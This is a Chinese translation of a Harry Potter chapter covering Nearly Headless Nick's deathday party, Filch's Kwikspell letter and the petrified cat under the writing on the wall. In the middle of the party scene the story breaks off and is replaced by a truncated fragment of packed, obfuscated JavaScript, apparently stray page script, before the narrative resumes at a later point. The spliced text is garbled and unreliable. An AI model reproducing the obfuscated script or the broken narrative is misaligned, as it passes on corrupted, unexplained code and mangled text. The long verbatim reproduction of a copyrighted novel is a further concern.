子弹大的雨点噼噼啪啪地打在城堡的窗户上,好几天都没有停止。湖水上涨,花坛里一片泥流,海格种的南瓜一个个膨胀得有花棚那么大。然而,奥利弗·伍德定期开展魁地奇训练的热情并没有因此而减低,所以,我们才会在万圣节的前几天,在一个风雨交加的星期六黄昏,看见哈利训练归来,返回格兰芬多的城堡。他全身都湿透了,沾满泥浆。 即使不刮风也不下雨,这次训练也不会愉快。弗雷德和乔治一直在侦察斯莱特林队的情况,他们亲眼看见了那些新扫帚光轮2001的速度。他们回来汇报说,斯莱特林队的队员们现在只是七个模糊的淡绿色影子,像喷气机一样在空中。哈利咕叽咕叽地走在空无一人的走廊上,突然看见一个和他一样心事重重的人。格兰芬多城堡的幽灵,“差点没头的”尼克正忧郁地望着窗外,嘴里低声念叨着:“...不符合他们的条件..就差半寸,如果那...” “你好。尼克。”哈利说。 “你好,你好。”差点没头的尼克吃了一惊,四下张望着。他长长的鬈发上扣着一顶很时髦的、插着羽毛的帽子,身上穿着一件长达膝盖的束腰外衣,上面镶着车轮状的皱领,掩盖住了他的脖子几乎被完全割断的事实。他像一缕轻烟一样似有若无,哈利可以透过他的身体眺望外面黑暗的天空和倾盆大雨。 “你好像有心事,年轻的波特。”尼克说着,把一封透明的信叠起来,藏进了紧身上衣里。 “你也是啊。”哈利说。 “啊,”差点没头的尼克挥着一只优雅修长的手,“小事一桩...并不是我真的想参加...我以为可以申请,可是看样子我‘不符合条件’。” 他的口气是满不在乎的,但他脸上却显出了深切的痛苦。 “你倒是说说看,”他突然爆发了,把那封信又从口袋里抽了出来,“脖子上被一把钝斧子砍了四十四下,有没有资格参加无头猎手队?” “噢——有的。”哈利显然应该表示同意。 “我的意思是,我比任何人都希望事情办得干净利落,希望我的脑袋完全彻底地断掉,我的意思是,那会使我免受许多痛苦,也不致被人取笑。可是...”差点没头的尼克把信抖开,愤怒地念了起来:我们只能接受脑袋与身体分家的猎手。你会充分地意识到,如果不是这样,成员将不可能参加马背头戏和头顶球之类的猎手队活动。因此,我非常遗憾地通知您,您不符合我们的条件。顺致问候,帕特里克·德波魔先生。 差点没头的尼克气呼呼地把信塞进衣服。 “只有一点点儿皮和筋连着我的脖子啊,哈利!大多数人都会认为,这实际上和掉脑袋一个样儿。可是不行,在彻底掉脑袋的德波魔先生看来,这还不够。” 差点没头的尼克深深吸了几口气,然后用平静多了的口吻说:“那么——你又为什么事发愁呢?我能帮得上忙吗?” “不能,”哈利说,“除非你知道上哪儿能弄到七把免费的光轮2001,让我们在比赛中对付斯莱——” “喵——”哈利脚脖子附近突然发出一声尖厉刺耳的叫声,淹没了他的话音。他低下头,看见两只像灯一样发亮的黄眼睛。是洛丽丝夫人,这只骨瘦如柴的灰猫受到看门人费尔奇的重用,在他与学生之间没完没了的战斗中充当他的副手。 “你最好离开这里,哈利,”尼克赶紧说道,“费尔奇情绪不好。他感冒了,还有几个三年级学生不小心把青蛙的脑浆抹在了第五地下教室的天花板上。他整整冲洗了一个上午,如果他看见你把泥水滴得到处都是...” “说得对,”哈利说,一边后退着离开洛丽丝夫人谴责的目光,可是已经来不及了。费尔奇和他这只讨厌的猫之间,大概有某种神秘的力量联系着。他突然从一条挂毯后面冲到哈利右边,呼哧呼哧喘着气,气疯了似的东张西望,寻找违反校规的人。他脑袋上扎着一条厚厚的格子花纹围巾,鼻子红得很不正常。 “脏东西!”他喊道,指着从哈利的魁地奇队服上滴下来的泥浆和脏水,眼睛鼓得怪吓人的,双下巴上的肉颤抖着。“到处都是脏东西,到处一团糟!告诉你吧,我受够了!波特,跟我走!” 哈利愁闷地朝差点没头的尼克挥手告别,跟着费尔奇走下楼梯,在地板上又留下一串泥泞的脚印。 哈利以前从未进过费尔奇的办公室:大多数学生对这个地方避之唯恐不及。房间里昏暗肮脏,没有窗户,只有一盏孤零零的油灯从低矮的天花板上吊下来。空气里弥漫着一股淡淡的煎鱼气味。四周的墙边排着许多木头文件柜。从标签上看,哈利知道柜里收藏着费尔奇处罚过的每个学生的详细资料。弗雷德和乔治两个人就占了整整一个抽屉。在费尔奇书桌后面的墙上,挂着一套亮晶晶的绞链和手铐、脚镣之类的东西。大家都知道,费尔奇经常请求邓布利多允许他吊住学生的脚踝,把学生从天花板上倒挂下来。 费尔奇从书桌上的一只罐子里抓过一支羽毛笔,然后拖着脚走来走去,寻找羊皮纸。 “讨厌,”他怒气冲冲地嘟囔着,“咝咝作响的大鼻涕虫...青蛙脑浆...老鼠肠子...我受够了...要杀鸡给猴看...表格呢...在这里...” 他从书桌抽屉里取出一大卷羊皮纸,铺在面前,然后拿起长长的黑羽毛笔,在墨水池里蘸了蘸。 “姓名...哈利·波特。罪行...” “就是一点点泥浆!”哈利说。 “对你来说是一点点泥浆,孩子,但对我来说,又得洗洗擦擦,忙上一个小时!”费尔奇说,他鼓鼓囊囊的鼻子尖上抖动着一滴令人恶心的鼻涕。“罪行...玷污城堡...处罚建议...” 费尔奇擦了擦流下来的鼻涕,眯起眼睛,不怀好意地看着哈利。哈利屏住呼吸,等待宣判。 然而,就在费尔奇的笔落下去时,办公室的天花板上传来一声巨响,“啷!”油灯被震得格格作响。 “皮皮鬼!”费尔奇吼道,一气之下,狠狠地扔掉了羽毛笔。“这次我一定不放过你,我要抓住你!” 皮皮鬼是学校里专门闹恶作剧的鬼,整天嘻皮笑脸,在空中蹿来蹿去,惹是生非,制造灾难和不幸。哈利不太喜欢皮皮鬼,但他不由得感激皮皮鬼这次闹得正是时候。但愿皮皮鬼不管做了什么(从声音昕,他这次似乎打碎了一个很大的东西),都能使费尔奇的注意力从哈利身上转移开去。 哈利认为他大溉应该等费尔奇回来,就在书桌边的一张被虫蛀坏的椅子上坐下了。桌上除了他那张填了一半的表格,还有另外一件东西:一个鼓鼓囊囊的紫色信封,上面印着一些银色的字。哈利飞快地朝门口瞥了一眼,确信费尔奇还没有回来,便拿起信封,看了起来:快速念咒-魔法入门函授课程。 哈利觉得困惑,便打开信封,从里面抽出一扎羊皮纸。只见第一页上又印着一些银色的花体字:您觉得跟不上现代魔法世界的节拍吗?您发现自己在寻找借口不表演简单的魔法吗?你有没有因为蹩脚的魔杖技法而受人嘲笑?答案就在这里!快速念咒是一种万无一失、收效神速、简便易学的全新课程。已有成百上千的男女巫师从快速念咒中受益匪浅! 托普山的讨人嫌女士这样写道:“我记不住咒语,我调制的魔药受到全家人的取笑!现在,经过一期快速念咒课程的学习,我已成为晚会上大家注意的中心,朋友们都向我讨要闪烁魔药的配方!” 迪茨布里的惹祸精巫师说:“我妻子过去总是嘲笑我蹩脚的魔法,但是在你们神奇的快速念咒班里学习了一个月之后,我成功地将她变成了一头牦牛!谢谢你,快速念咒!” 哈利被吸引住了,他用手指翻动着信封里其余的羊皮纸。费尔奇为什么要学习快速念咒课程呢?这难道意味着他不是一个正规的巫师?他刚刚读到“第一课:拿住你的魔杖(几点有用的忠告)”,外面就传来了踢踢踏踏的脚步声。他知道费尔奇回来了,便赶紧把羊皮纸塞进信封,扔回到桌上。就在这时,门开了。 费尔奇一副大获全胜的样子。“那个消失柜特别珍贵!”他高兴地对洛丽丝夫人说,“这次我们可以叫皮皮鬼滚蛋了,亲爱的!” 他的目光落到了哈利身上,又赶紧转向那个快速念咒信封,哈利这才发现它离刚才的位置偏了两英尺,然而已经来不及了。 费尔奇苍白的脸一下子变得通红。哈利鼓起勇气,等待着他大发雷霆。费尔奇一瘸一拐地走向桌子,一把抓起信封,扔进了抽屉。 “你有没有——你看了——?”他语无伦次地问。 “没有。”哈利赶紧撒谎。 费尔奇把两只关节突出的手拧在一起。 “如果我认为你偷看我的私人...不,这不是我的...替一个朋友弄的...不管怎么样吧...不过...” 哈利瞪着他,惊讶极了;费尔奇从来没有显得这样恼怒。他的眼球暴突着,松垂的脸颊有一边突然抽搐起来,即使扎着格子花纹的围巾也无济于事。 “很好...走吧...不要透露一个字...我不是说...不过,如果你没有看..你走吧,我还要写皮皮鬼的报告呢...走吧...” 哈利简直不敢相信自己的运气,于是飞快地离开办公室,穿过走廊,来到楼上。没受惩罚就从费尔奇的办公室逃脱出来,这大概也算本校的一项最新记录了。 “哈利!哈利!管用吗?”差点没头的尼克从一间教室里闪了出来。在他身后,哈利看见一只黑色和金色相间的柜子摔碎在地上,看样子是从很高的地方落下来的。“我劝说皮皮鬼把它砸在费尔奇的办公室顶上,”尼克急切地说,“我想这大概会转移他的注意——” “原来是你?”哈利感激地说,“啊,太管用了,我甚至没有被罚留校。谢谢你,尼克!” 他们一起在走廊里走着。哈利注意到,差点没头的尼克手里还拿着帕特里克先生的那封回绝信。 “关于无头猎手队的事,我希望我能为你做点什么。”哈利说。差点没头的尼克立刻停住脚步,哈利径直从他身体里穿过。他真希望自己没有这样做;那感觉就好像是冲了一个冰水浴。 “你确实可以为我做一件事,”尼克兴奋地说,“哈利——我的要求是不是太过分了——不行,你不会愿意——” “什么呀?”哈利问道。 “好吧,今年的万圣节将是我的五百岁忌辰。”差点没头的尼克说着,挺起了胸膛,显出一副高贵的样子。 “噢,”哈利说,对这个消息,他不知道应该是表示出难过还是高兴,“是吗?” “我要在一间比较宽敞的地下教室里开一个晚会。朋友们将从全国各地赶来。如果你也能参加,我将不胜荣幸。当然啦,韦斯莱先生和格兰杰小姐也是最受欢迎的——可是,我敢说你情愿参加学校的宴会,是吗?”他焦急不安地看着哈利。 “不是,”哈利很快地说,“我会来的——” “哦,我亲爱的孩子!哈利波特,参加我的忌辰晚会,太棒了!还有,”他迟疑着,显得十分兴奋,“劳驾,你可不可以对帕特里克先生提一句,就说你觉得我特别吓人,给人印象特别深刻,好吗?” “当——当然可以。”哈利说。 差点没头的尼克向他露出了笑容。 “忌辰晚会?”赫敏兴致很高地说,“我敢打赌没有几个活着的人能说他们参加过这种晚会——肯定是很奇妙的!”这时哈利终于换好了衣服,在公共休息室里找到了她和罗恩。 “为什么有人要庆祝他们死亡的日子呢?”罗恩带着怒气说,他正在做魔药课的家庭作业,“我听着觉得怪沉闷的...” 窗外仍然下着倾盆大雨,天已经黑得像墨汁一样,但屋里却是明亮而欢快的。火光映照着无数张柔软的扶手椅,人们坐在里面看书、聊天、做家庭作业。弗雷德和乔治·韦斯莱这对孪生兄弟正在研究,如果给一只火蜥蜴吃一些费力拔烟火,会出现什么效果。弗雷德把这只鲜艳的橘红色蜥蜴从保护神奇生物课的课堂上“拯救”出来,此刻,它趴在一张桌子上闷闷地燃烧着,四周围着一群好奇的人。 哈利正要把费尔奇和快速念咒函授课的事告诉罗恩和赫敏,突然,那边的火蜥蜴嗖地蹿到半空,在房间里疯狂地旋转,噼噼啪啪地放出火花,还伴随着一些邦邦的巨响。珀西嘶哑着嗓子狠狠训斥弗雷德和乔治。火蜥蜴的嘴里喷出橘红色的星星,十分美丽壮观。它带着接二连三的爆炸声,逃进了炉火里。所有这一切,使哈利把费尔奇和那个快速念咒的信封忘得一干二净。 万圣节到来了,哈利立刻后悔自己不该那么草率地答应去参加忌辰晚会。 学校里的其他同学都开开心心地参加万圣节的宴会,礼堂里已经像平常那样,用活蝙蝠装饰起来了。海格种的巨大南瓜被雕刻成了一盏盏灯笼,大得可以容三个人坐在里面。人们还传言说,邓布利多预定了一支骷髅舞蹈团,给大家助兴。 “一言既出,驷马难追。”赫敏盛气凌人地提醒哈利,“你说过你要去参加忌辰晚会的。” 于是,七点钟的时候,哈利、罗恩和赫敏径直穿过门道,这条门道正好通往拥挤的礼堂。那里张灯结彩,烛光闪耀,桌上摆放着金盘子,非常诱人,但他们还是朝地下教室的方向走去。 通向差点没头的尼克的晚会的那条过道,也已经点着蜡烛了,但效果却一点也不令人愉快:它们都是黑乎乎的、细细的小蜡烛,燃烧的时候闪着蓝盈盈的光,即使照在他们三个充满生机的脸上,也显得阴森森的。他们每走一步,气温都在降低。哈利颤抖着,把衣服拉紧了裹住自己。这时,他听见一种声音,仿佛是一千个指甲在一块巨大的黑板上刮来刮去。 “那也叫音乐?”罗恩低声说。他们转过一个拐角,看见差点没头的尼克站在一个门口,身上披挂着黑色天鹅绒的幕布。 “我亲爱的朋友,”他无限忧伤地说,“欢迎,欢迎...你们能来,我真是太高兴了...” 他脱掉插着羽毛的帽子,鞠躬请他们进去。 眼前的景象真是令人难以置信。地下教室里挤满了几百个乳白色的、半透明的身影,他们大多在拥挤不堪的舞场上游来荡去,和着三十把乐锯发出的可怕而颤抖的声音跳着华尔兹舞,演奏乐锯的乐队就坐在铺着黑布的舞台上。头顶上的一个枝形吊灯里也点燃了一千支蜡烛,放出午夜的蓝光。他们三个人的呼吸在面前形成一团团雾气,仿佛走进了冷藏室。 “ 我们到处看看吧?”哈利提出建议,想暖一暖他的脚。 “小心,不要从什么人的身体里穿过。”罗恩紧张地说,他们绕着舞场边缘慢慢地走,经过一群闷闷不乐的修女、一个戴着锁链的衣衫褴褛的男人,还有一个胖修士。一个赫奇帕奇的鬼魂,性情活泼愉快,此刻正在和一个脑门上插着一根箭的骑士聊天。哈利还看到了血人巴罗,这是在他的意料中的。血人巴罗是斯莱特林的鬼魂,他骨瘦如柴,两眼发直,身上沾满银色的血迹,其他鬼魂正给他腾出一大块地方。 “哦,糟糕,”赫敏突然停住脚步,快转身,快转身,我不想跟哭泣的桃金娘说话——” “谁?”他们匆匆由原路返回时,哈利问道。 “她待在一楼的女生盥洗室里。”赫敏说。 “待在盥洗室里?” “对。盥洗室一年到头出故障,因为她不停地发脾气,把水泼得到处都是。我只要能够避免,是尽量不到那里去的。你上厕所,她冲你尖声哭叫,真是太可怕了——” “看,吃的东西!”罗恩说。地下教室的另一头是一张长长的桌子,上面也铺着黑色天鹅绒。他们追不及待地走上前去,紧接着就惊恐万分地停下了,气味太难闻了。大块大块已经腐烂的肉放在漂亮的银盘子里,漆黑的、烤成焦炭的蛋糕堆在大托盘里;还有大量长满蛆虫的肉馅羊肚,一块覆盖着绿毛的奶酪。在桌子的正中央,放着一块巨大的墓碑形的灰色蛋糕,上面用焦油状的糖霜拼出了这样的文字:尼古拉斯德敏西·波平顿爵士逝于1492年10月31日。 哈利看得目瞪口呆。这时一个肥胖的鬼魂向桌子走来,他蹲下身子,直接从桌子中间通过,嘴巴张得大大的,正好穿过一条臭气熏天的大马哈鱼。“你这样直接穿过去,能尝出味道吗?”哈利问他。 “差不多吧。”鬼魂悲哀地说,转身飘走了。 “我猜想他们让食物腐烂,是想让味道更浓一些。”赫敏很有见识地说,她捂着鼻子,靠上前去细看腐烂的肉馅羊肚。 “我们走吧,我感到恶心了。”罗恩说。他们还没来得及转身,一个矮小的男鬼突然从桌子底下钻了出来,停在他们面前的半空中。 “你好,皮皮鬼。”哈利小心翼翼地说。皮皮鬼是一个专门搞恶作剧的鬼,他和他们周围的那些鬼魂不同,不是苍白而透明的。恰恰相反,他戴着一顶鲜艳的橘红色晚会帽,打着旋转的蝴蝶领结,一副坏样的阔脸上龇牙咧嘴地露出笑容。 “想来点儿吗?”他甜甜地说,递给他们一碗长满霉菌的花生。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“人数还令人满意,”差点没头的尼克骄傲地说,“哭喊的寡妇大老远地从肯特郡赶来...我讲话的时间快要到了,我最好去跟乐队提个醒儿...” 没想到,就在这时候,乐队突然停止了演奏。他们和地下教室里的每个人都沉默下来,兴奋地环顾四周,一只猎号吹响了。 “哦,糟了。”差点没头的尼克痛苦地说。 从地下教室的墙壁突然奔出十二匹鬼马,每匹马上面都有一个无头的骑手。全体参加晚会的人热烈鼓掌,哈利也拍起了巴掌,但一看到尼克的脸色,他就赶紧停住了。 十二匹鬼马跑到舞场中央,猛地站住了,先用后腿直立起来,又踢起后蹄冲蹿。最前面的马上是一个大块头的鬼,长着络腮胡的脑袋夹在胳膊底下,吹着号角。他从马上跳下来,把脑袋高高地举在半空中,这样他便可以从上面看着众人了(大家都哈哈大笑),他大踏步向差点没头的尼克走来,一边马马虎虎地把脑袋往脖子上一塞。 “尼克!”他大声吼道,“ 你好吗?脑袋还挂在那儿吗?” 他发出一阵粗野的狂笑,拍了拍差点没头的尼克的肩膀。 “欢迎光临,帕特里克。”尼克态度生硬地说。 “活人!”帕特里克先生一眼看见了哈利、罗恩和赫敏,假装吃惊地高高跳起,结果脑袋又掉了下来(大家哄堂大笑)。 “非常有趣。”差点没头的尼克板着脸说。 “别管尼克!”帕特里克先生的脑袋从地板上喊道,“他还为我们不让他参加猎手队而耿耿于怀呢!可是我想说——你们看看这家伙——” “我认为,”哈利看到尼克意味深长的目光,慌忙说道,“尼克非常——吓人,而且——哦——” “哈哈!”帕特里克先生的脑袋嚷道,“我猜是他叫你这么说的吧!” “请诸位注意了,现在我开始讲话!”差点没头的尼克大声说,大步走向讲台,来到一道冰冷的蓝色聚光灯下。“我已故的勋爵们、女士们和先生们,我怀着极大的悲痛...” 后面的话便没有人能听见了。帕特里克先生和无头猎手队的其他成员玩起了一种头顶曲棍球的游戏,众人都转身观看。差点没头的尼克徒劳地试图重新抓住观众,可是帕特里克先生的脑袋在一片欢呼声中从他身边飞过,他只好败下阵来。 这时,哈利已经很冷了,肚子更是饿得咕咕直叫。 “我再也受不住了。”罗恩嘟囔说,他的牙齿地打战。这时乐队又吱吱呀呀地开始演奏了,大鬼小鬼们飘飘然地回到舞场。 “我们走吧。”哈利赞同道。 他们向门口移动,一边对每个看着他们的人点头微笑。一分钟后,他们就匆匆走在点着黑蜡烛的过道里了。 “布丁大概还没有吃完。”罗恩满怀希望地说,领头向通往门厅的台阶走去。 这时,哈利听见了。 “...撕你...撕裂你...杀死你...” 又是那个声音,那个他曾在洛哈特办公室里听见过的冷冰冰的、杀气腾腾的声音。 他踉跄着停下脚步,抓住石墙,全神贯注地听着,一边环顾四周,眯着眼睛,在光线昏暗的过道里上上下下地寻找。 “哈利,你怎么——?” “那个声音又出现了——先别说话——” “...饿坏了...好久好久了...” “听!”哈利急迫地说,罗恩和赫敏呆住了,注视着他。 “...杀人...是时候了...” 声音越来越弱了。哈利可以肯定它在移动——向上移动。他盯着漆黑的天花板,心里突然产生了一种既恐惧又兴奋的感觉;它怎么可能向上移动呢?难道它是一个幽灵,石头砌成的天花板根本挡不住它? “走这边。”他喊道,撒腿跑了起来,跑上楼梯,跑进门厅。这里回荡着礼堂里万圣节宴会的欢声笑语,不太可能听见其他动静。哈利全速奔上大理石楼梯,来到二楼,罗恩和赫敏跌跌撞撞地跟在后面。 “哈利,我们在做什——” “嘘!” 哈利竖起耳朵。远远地,从上面一层楼上,那个声音又传来了,而且变得越发微弱:“...我闻到了血腥味...我闻到了血腥味!”哈利的肚子猛地抽动起来。“它要杀人了!”他喊道,然后不顾罗恩和赫敏脸上困惑的表情,三步两步登上一层楼梯,一边在他沉重的脚步声中倾听着。 哈利飞奔着把三楼转了个遍,罗恩和赫敏气喘吁吁地跟在后面,三个人马不停蹄,最后转过一个墙角,来到最后一条空荡荡的过道里。 “哈利,这到底是怎么回事?”罗恩说,一边擦去脸上的汗珠。“我什么也听不见...” 赫敏突然倒抽一口冷气,指着走廊的下方。 “看!” 在他们面前的墙上,有什么东西在闪闪发亮。他们慢慢走近,眯着眼在黑暗中仔细辨认。在两扇窗户之间,距地面一尺高的墙面上,涂抹着一些字迹,在燃烧的火把的映照下闪着徽光。 密室被打开了。 与继承人为敌者,警惕。 “那是什么东西——挂在下面?”罗恩说,声音有些颤抖。 他们小心翼翼地靠近,哈利差点儿滑了一跤:地上有一大摊水。罗恩和赫敏一把抓住他,他们一点点儿地走近那条标语,眼睛死死盯着下面的一团黑影。三个人同时看清了那是什么,吓得向后一跳,溅起一片水花。 是洛丽丝夫人,看门人的那只猫,尾巴挂在火把的支架上,身体僵硬得像块木板,眼睛睁得大大的,直勾勾地瞪着。三个人一动不动地站着,足有好几秒钟,然后罗恩说道:“我们赶快离开这里吧。” “是不是应该设法抢救——”哈利不很流利地说。 “听我说,”罗恩说,“我们可不想在这里被人发现。” 然而已经来不及了。一阵低沉的喧闹声,像远处的雷声一样,告诉他们宴会刚刚结束。从他们所处的走廊的两端,传来几百只脚登上楼梯的声音,以及人们茶足饭饱后愉快的高声谈笑。接着,学生们就推推挤挤地从两端拥进过道。 当前面的人看见那只倒挂的猫时,热热闹闹、叽叽喳喳的声音便突然消失了。哈利、罗恩和赫敏孤零零地站在走廊中间,学生们一下子安静了,纷纷挤上前来看这可怕的一幕。 在这片寂静中,有人高声说话了。 “与继承人为敌者,警惕!下一个就是你,泥巴种!” 是德拉科·马尔福。他已经挤到人群前面,冰冷的眼睛活泛了起来,平常毫无血色的脸涨得通红。他看着挂在那里的那只静止僵硬的猫,脸上露出了狞笑。 28. 墙上的字 这里出了什么事?出了什么事?” 费尔奇无疑是被马尔福的喊声吸引过来的,他用肩膀挤过人群。接着,他看见了洛丽丝夫人,他跌跌撞撞地后退几步,惊恐地用手抓住自己的脸。 “我的猫!我的猫!洛丽丝夫人怎么了?”他尖叫道。 这时,他突起的眼睛看见了哈利。 “你!”他尖声嚷道,“你!你杀死了我的猫!你杀死了它!我要杀死你!我要——” “费尔奇!” 邓布利多赶到了现场,后面跟着许多其他老师。一眨眼的工夫,他就走过哈利、罗恩和赫敏身边,把洛丽丝夫人从火把支架上解了下来。 “跟我来吧,费尔奇。”他对费尔奇说,“还有你们,波特先生、韦斯莱先生、格兰杰小姐。” 洛哈特急冲冲地走上前来。 “我的办公室离这儿最近,校长——就在楼上——你们可以——” “谢谢你,吉德罗。”邓布利多说。 沉默的人群向两边分开,让他们通过。洛哈特非常兴奋,一副神气活现的样子,匆匆跟在邓布利多身后,麦格教授和斯内普也跟了上来。 当他们走进洛哈特昏暗的办公室时,墙上突然起了一阵骚动。哈利看见几张照片上的洛哈特慌慌张张地躲了起来,他们的头发上还带着卷发筒。这时,真正的洛哈特点燃桌上的蜡烛,退到后面。邓布利多把洛丽丝夫人放在光洁的桌面上,开始仔细检查。哈利、罗恩和赫敏紧张地交换了一下眼色,便坐到烛光照不到的几把椅子上,密切注视着。 邓布利多长长的鹰钩鼻,鼻尖几乎碰到了洛丽丝夫人身上的毛。他透过半月形的眼镜片仔细端详着它,修长的手指轻轻地这里戳戳,那里捅捅。麦格教授弯着腰,脸也差不多碰到猫了,眯着眼睛细细地看着。斯内普站在他们后面,半个身子藏在阴影里,显得阴森森的。他脸上的表情十分古怪:就好像在拼命克制自己不要笑出来。洛哈特在他们周围徘徊,不停地出谋划策。 “肯定是一个魔咒害死了它——很可能是变形拷打魔咒。我多次看见别人使用这种咒语,真遗憾我当时不在场,我恰好知道那个解咒法,本来可以救它的...” 洛哈特的话被费尔奇无泪的伤心哭泣打断了。费尔奇瘫坐在桌旁的一张椅子上,用手捂着脸,不敢看洛丽丝夫人。哈利尽管不喜欢费尔奇,但此刻也忍不住对他产生了一些同情,不过他更同情的是他自己。如果邓布利多相信了费尔奇的话,他肯定会被开除。 这时,邓布利多低声念叨着一些奇怪的话,并用他的魔杖敲了敲洛丽丝夫人,然而没有反应,洛丽丝夫人还是僵硬地躺在那里,如同一个刚刚做好的标本。 “...我记得在瓦加杜古发生过十分类似的事情,”洛哈特说,“一系列的攻击事件,我的自传里有详细记载。当时,我给老百姓们提供了各种各样的护身符,一下子就解决了问题...” 他说话的时候,墙上那些洛哈特的照片都纷纷点头,表示同意。其中一个忘记取下他的发网。 最后,邓布利多直起身来。 “它没有死,费尔奇。”他轻声说。 洛哈特正在数他共阻止了多少次谋杀事件,这时突然停住了。 “没有死?”费尔奇哽咽着说,从手指缝里看着洛丽丝夫人,“那它为什么全身——全身僵硬,像被冻住了一样?” “它被石化了,”邓布利多说(“啊!我也是这样认为的!”洛哈特说),“但究竟是怎么回事,我不清楚...” “问他!”费尔奇尖叫道,把斑斑驳驳、沾满泪痕的脸转向哈利。“二年级学生是不可能做到这点的,”邓布利多坚决地说,“这需要最高深的黑魔法——” “是他干的,是他干的!”费尔奇唾沫四溅地说,肥胖松垂的脸变成了紫红色。“你们看见了他在墙上写的字!他发现了——在我的办公室——他知道我是个——我是个——”费尔奇的脸可怕地抽搐着。“他知道我是个哑炮!” “我根本没碰洛丽丝夫人!”哈利大声说,他不安地意识到大家都在看着他,包括墙上所有的洛哈特。“我连哑炮是什么意思都不知道。” “胡说!”费尔奇咆哮着说,“他看见了我那封快速念咒的函授信!” “请允许我说一句,校长。”斯内普在阴影里说,哈利内心不祥的感觉更强烈了。他相信,斯内普说的话绝不会对自己有任何好处。 “也许,波特和他的朋友只是不该在那个时间出现在那个地方,”斯内普说,嘴唇扭动着露出一丝讥笑,仿佛他对此深表怀疑,“但我们确实遇到了一系列的疑点。他们究竟为什么要到上面的走廊去呢?他们为什么没有参加万圣节的宴会?” 哈利、罗恩和赫敏争先恐后地解释他们去参加忌辰晚会了,“...来了几百个幽灵,他们可以证明我们在那儿——” “可是在这之后呢,为什么不来参加宴会?"斯内普说,漆黑的眼睛在烛光里闪闪发光。“为什么到上面的走廊去?” 罗恩和赫敏都看着哈利。 “因为——因为——”哈利说,他的心怦怦地狂跳着。他隐约觉得,如果他对他们说,他是被一个只有他自己能听见的、没有形体的声音领到那里去的,这听上去肯定站不住脚。“因为我们累了,想早点儿睡觉。”他说。 “不吃晚饭?”斯内普说,枯瘦的脸上闪过一个得意的笑容,“我认为,鬼魂在晚会上提供的食物大概不太适合活人吧。” “我们不饿。”罗恩大声说,同时他的肚子叽里咕噜地响了起来。 斯内普难看的笑容更明显了。 “我的意见是,校长,波特没有完全说实话。”他说,“我们或许应该取消他的一些特权,直到他把事情原原本本地告诉我们。我个人认为,最好让他离开格兰芬多魁地奇队,等态度老实了再说。” “说实在的,西弗勒斯,”麦格教授厉声地说,“我看没有理由不让这孩子打球。这只猫又不是被扫帚打中了脑袋。而且没有证据显示波特做了任何错事。” 邓布利多用探究的目光看了哈利一眼。面对他炯炯发亮的蓝眼睛的凝视,哈利觉得自己被看透了。 “只要没被证明有罪,就是无辜的,西弗勒斯。”他坚定地说。 斯内普显得十分恼怒。费尔奇也是一样。“我的猫被石化了!”他尖叫着,眼球向外突起。“我希望看到有人受到一些惩罚!” “我们可以治好它的,费尔奇。”邓布利多耐心地说,“斯普劳特夫人最近弄到了一些曼德拉草。一旦它们长大成熟,我就有一种药可以使洛丽丝夫人起死回生了。” “我来配制,”洛哈特插嘴说,“我配制了肯定有一百次了,我可以一边做梦一边配制曼德拉草复活药剂——” “请原谅,”斯内普冷冷地说,“我认为我才是这个学校的魔药课老师。” 一阵令人尴尬的沉默。 “你们可以走了。”邓布利多对哈利、罗恩和赫敏说。他们尽量加快脚步,差点跑了起来。来到洛哈特办公室的楼上时,他们钻进一间空教室,轻轻地关上门。哈利眯起眼睛看着黑暗中两个朋友的脸。 “你们说,我是不是应该对他们说说我听见的那个声音?” “别说,”罗恩不假思索地说,“听见别人听不见的声音,这不是一个好兆头,即使在魔法世界里也是这样。” 哈利从罗恩的声音里听出了点儿什么,他问道:“你是相信我的,是吗?” “我当然相信,”罗恩很快地说,“可是——你必须承认这很离奇...” “我知道这很离奇,”哈利说,“整个事件都很离奇。墙上的那些文字是怎么回事?密室曾经被打开过...这到底是什么意思呢?” “噢,这倒使我想起了什么,”罗恩慢慢地说,“好像有一次什么人跟我说过霍格沃茨的密室...大概是比尔吧...” “哑炮又是什么玩艺儿?”哈利问。使他吃惊的是,罗恩居然捂住嘴咯咯笑了起来。 “是这样——实际上并不可笑——但放在费尔奇身上...”他说,“哑炮是指一个人生在巫师家庭,却没有一点神奇的能力。哑炮和麻瓜出身的巫师正好相反,不过哑炮是很少见的。如果费尔奇想通过快速念咒函授课程来学习魔法,那他肯定是个哑炮。这就能说明很多问题了,比如他为什么那么仇恨学生,”罗恩露出一个满意的微笑,“他嫉妒啊。”什么地方敲响了钟声。 “十二点了,”哈利说,“我们赶紧上床睡觉吧,可别等斯内普又过来找我们的茬儿,诬陷我们。” 接连好几天,学生们不谈别的,整天议论洛丽丝夫人遭到攻击的事。费尔奇的表现使大家时时刻刻忘不了这件事。他经常在洛丽丝夫人遇害的地方踱来踱去,似乎以为攻击者还会再来。哈利看见他用“斯科尔夫人牌万能神奇去污剂”擦洗墙上的文字,但是白费力气:那些文字仍然那么明亮地在石墙上闪烁。费尔奇如果不在犯罪现场巡逻,便瞪着两只红通通的眼睛,偷偷隐蔽在走廊里,然后突然扑向毫无防备的学生,千方百计找借口关他们禁闭,比如说他们“喘气声太大”,或“嘻皮笑脸”。 金妮·韦斯莱似乎为洛丽丝夫人的遭遇感到非常不安。据罗恩说,她一向是非常喜欢猫的。 “实际上你并不认识洛丽丝夫人呀。”罗恩想使她振作起来,“说句实话,没有它我们更加自在。”金妮的嘴唇开始颤抖。“这种事霍格沃茨不会经常发生的,”罗恩安慰她,“他们很快就会抓住那个肇事的疯子,把他从这里赶出去。我只希望他在被开除前,还来得及把费尔奇也给石化了。我只是开个玩笑——”罗恩看到金妮的脸刷地变白了,赶紧又说了一句。 攻击事件对赫敏也产生了影响。赫敏平常总是花很多时间看书,现在却整天几乎什么事也不干。哈利和罗恩问她在做什么,她也爱理不理的,一直到第二个星期三,他们才揭开了这个谜底。 哈利在魔药课上被留了堂,斯内普叫他留下来擦去桌上的多毛虫。哈利匆匆吃过午饭,就上楼到图书馆来找罗恩。路上,他看见一起上草药课的赫奇帕奇男孩贾斯廷·芬列里迎面走来。哈利正要张嘴打招呼,可是贾斯廷一看见他,却突然转身,往相反方向逃走了。 